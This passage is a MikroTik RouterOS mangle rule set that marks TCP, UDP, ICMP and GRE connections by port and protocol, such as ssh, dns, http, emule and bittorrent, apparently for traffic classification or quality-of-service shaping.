add chain=tcp-services protocol=tcp src-port=513-65535 dst-port=22 action=mark-connection new-connection-mark=ssh passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=23 action=mark-connection new-connection-mark=telnet passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=25 action=mark-connection new-connection-mark=smtp passthrough=no
add chain=tcp-services protocol=tcp src-port=53 dst-port=53 action=mark-connection new-connection-mark=dns passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=53 action=mark-connection new-connection-mark=dns passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=80 action=mark-connection new-connection-mark=http passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=110 action=mark-connection new-connection-mark=pop3 passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=113 action=mark-connection new-connection-mark=auth passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=119 action=mark-connection new-connection-mark=nntp passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=143 action=mark-connection new-connection-mark=imap passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=161-162 action=mark-connection new-connection-mark=snmp passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=443 action=mark-connection new-connection-mark=https passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=465 action=mark-connection new-connection-mark=smtps passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=993 action=mark-connection new-connection-mark=imaps passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=995 action=mark-connection new-connection-mark=pop3s passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=1723 action=mark-connection new-connection-mark=pptp passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=2379 action=mark-connection new-connection-mark=kgs passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=3128 action=mark-connection new-connection-mark=proxy passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=3389 action=mark-connection new-connection-mark=win-ts passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=4242-4243 action=mark-connection new-connection-mark=emule passthrough=no
add chain=tcp-services protocol=tcp src-port=4661-4662 dst-port=1024-65535 action=mark-connection new-connection-mark=overnet passthrough=no
add chain=tcp-services protocol=tcp src-port=4711 dst-port=1024-65535 action=mark-connection new-connection-mark=emule passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=5900-5901 action=mark-connection new-connection-mark=vnc passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=6667-6669 action=mark-connection new-connection-mark=irc passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=6881-6889 action=mark-connection new-connection-mark=bittorrent passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=8080 action=mark-connection new-connection-mark=http passthrough=no
add chain=tcp-services protocol=tcp src-port=1024-65535 dst-port=8291 action=mark-connection new-connection-mark=winbox passthrough=no
add chain=tcp-services protocol=tcp action=mark-connection new-connection-mark=other-tcp passthrough=no

# UDP Services
add chain=udp-services protocol=udp src-port=1024-65535 dst-port=53 action=mark-connection new-connection-mark=dns passthrough=no
add chain=udp-services protocol=udp src-port=1024-65535 dst-port=123 action=mark-connection new-connection-mark=ntp passthrough=no
add chain=udp-services protocol=udp src-port=1024-65535 dst-port=1701 action=mark-connection new-connection-mark=l2tp passthrough=no
add chain=udp-services protocol=udp src-port=1024-65535 dst-port=4665 action=mark-connection new-connection-mark=emule passthrough=no
add chain=udp-services protocol=udp src-port=1024-65535 dst-port=4672 action=mark-connection new-connection-mark=emule passthrough=no
add chain=udp-services protocol=udp src-port=4672 dst-port=1024-65535 action=mark-connection new-connection-mark=emule passthrough=no
add chain=udp-services protocol=udp src-port=1024-65535 dst-port=12053 action=mark-connection new-connection-mark=overnet passthrough=no
add chain=udp-services protocol=udp src-port=12053 dst-port=1024-65535 action=mark-connection new-connection-mark=overnet passthrough=no
add chain=udp-services protocol=udp src-port=36725 dst-port=1024-65535 action=mark-connection new-connection-mark=skype passthrough=no
add chain=udp-services protocol=udp connection-state=new action=mark-connection new-connection-mark=other-udp passthrough=no

# Others
add chain=other-services protocol=icmp icmp-options=8:0-255 action=mark-connection new-connection-mark=ping passthrough=no
add chain=other-services protocol=gre action=mark-connection new-connection-mark=gre passthrough=no
add chain=other-services action=mark-connection new-connection-mark=other passthrough=no